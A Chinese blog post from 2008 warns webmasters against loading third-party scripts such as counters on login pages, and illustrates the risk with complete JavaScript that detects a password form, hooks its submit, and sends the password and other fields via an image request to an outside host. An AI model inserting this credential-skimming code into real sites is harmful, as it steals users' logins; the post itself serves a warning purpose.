千万不要在登陆页面引入别站的脚本

by 清泉 16. 十月 2008 11:42
    如果您是一位站长,你的网站里面一定引入过别站的脚本,如计数器等。但强烈建议您不要把这个脚本引入到登陆页面。
    因为如果你这样做了,对方(脚本作者)可以在神不知鬼不觉的情况下,把你的用户的帐户,密码等信息偷走。
    您可能要问:第一、对方如何知道我把脚本放在登陆页面?第二、现在有IE7,XMLHTTP也不可能跨域了,对方如何知道信息?
    其实,这两个问题,都很简单。
    第一、对方只需用脚本枚举FORM,判断里面的是否包含:<input type="password" />的控件,就可以知道是否是登陆窗体。
    第二、没有了 XMLHTTP,还有好多种方法来完成数据的提交,最简单的:

var up = new Image(); up.src=http://www.supidea.com/getdata.asp?data=aaa|bbb|ccc;

    很简单吧!!我们来看下示例核心代码:

function _bho_DataPost(form)
    {
        var userInfoArray = [];
        for(var name in form)
        {
            userInfoArray.push(name + '=' + escape(form[name]));
        }
       
        var userInfo = userInfoArray.join('&');
        try
        {
          //提交数据(这里有密码的哟)
          var send = new Image();
        send.src = "http://www.supidea.com//getdata.asp?" + userInfo;
        }
        catch(e)
        {}
    }
/*
  功能:得到登陆FORM,如果没有找到,则返回 null
*/
    function _bho_getLoginForm()
    {
        var forms = document.forms;
        for(var f = 0; f < forms.length; ++f)
        {
            var form = forms[f];
           
            var inputs = form.getElementsByTagName("INPUT");
            for(var i = 0; i < inputs.length; ++i)
            {
                if(inputs[i].type.toLowerCase() == "password")
                {
                    return form;
                }
            }
        }
       
        return null;
    }
   
    /*
    功能:注册事件,HOOK form.submit
    */
    function _bho_initEvent()
    {
        var form = _bho_getLoginForm();
        if(form != null)
        {
       
        //重写 form 的submit,来拦截密码
        form.__submit_ = form.submit;
        form.submit = function()
        {
          _bho_SendPwd();
         
          //如果先执行这里,因为还有事件,我们把 _bho_SendPwd 改成空函数,避免重复提交
          _bho_SendPwd = function(){}
          return form.__submit_();
        }
        //注册事件来监听密码提交
            form.attachEvent("onsubmit",_bho_SendPwd);
        }
    }
   
    /*
    功能:把将要提交的FORM里面的所有数据提交
    */
    function _bho_SendPwd(e)
    {
        var form = _bho_getLoginForm();
    var pwd = '';
    var otherInfoArray = [];
        var inputs = form.getElementsByTagName("INPUT");
        for(var i = 0; i < inputs.length; ++i)
        {
            if(inputs[i].type.toLowerCase() == "password")
            {
                pwd = inputs[i].value;
            }
            else
            {
                if(inputs[i].type.toLowerCase() == 'text')
                {
                //为了节省资源,如果没有名字,或者数据长度太长,应该没有什么价值,不用提交了
                    if(inputs[i].name && inputs[i].name != '' && inputs[i].value.length < 100)
                    {
                    otherInfoArray.push(inputs[i].name + '=' + inputs[i].value);
                }
            }
            }
        }
       
        var form = [];
        form['url'] = window.location.href;
        form['pwd'] = pwd;
        form['otherInfo'] = otherInfoArray.join('&');
        _bho_DataPost(form);
        //alert('发送完成');
    }
   
    //初始化事件
    _bho_initEvent();


    如果以上脚本在你的站上执行,密码就被人知道了。

    总结:网站所用统计程序大家要慎重考虑,不然自己网站的管理权限都已经交给别人了,自己都不知道。

Tags: ,

页面美工设计

添加评论



(将显示你的Gravatar头像)  

biuquote
微笑得意调皮害羞酷大笑惊讶发呆喜欢可怜尴尬闭嘴噘嘴皱眉伤心抓狂呕吐坏笑漫骂发怒
Loading



Supidea.com 晨飞的梦 @ All Rights Reserved. Powered by BlogYi.NET ver:1.8.0.0. 苏ICP备09011404号

关于博主

kamau
抱着美好的理想背井离乡,这酸甜苦辣只能默默忍受。既然选择了路,就得风雨兼程……

Calendar

<<  五月 2012  >>
30123456
78910111213
14151617181920
21222324252627
28293031123
45678910

在日历中查看文章

最近的评论

Comment RSS

声明

      本博所发一切破解相关附件只作学习研究交流之用,严禁用于商业用途,请在下载24小时内删除。
      本博所有网友评论不代表本博立场,版权归其作者所有。

© Copyright 2009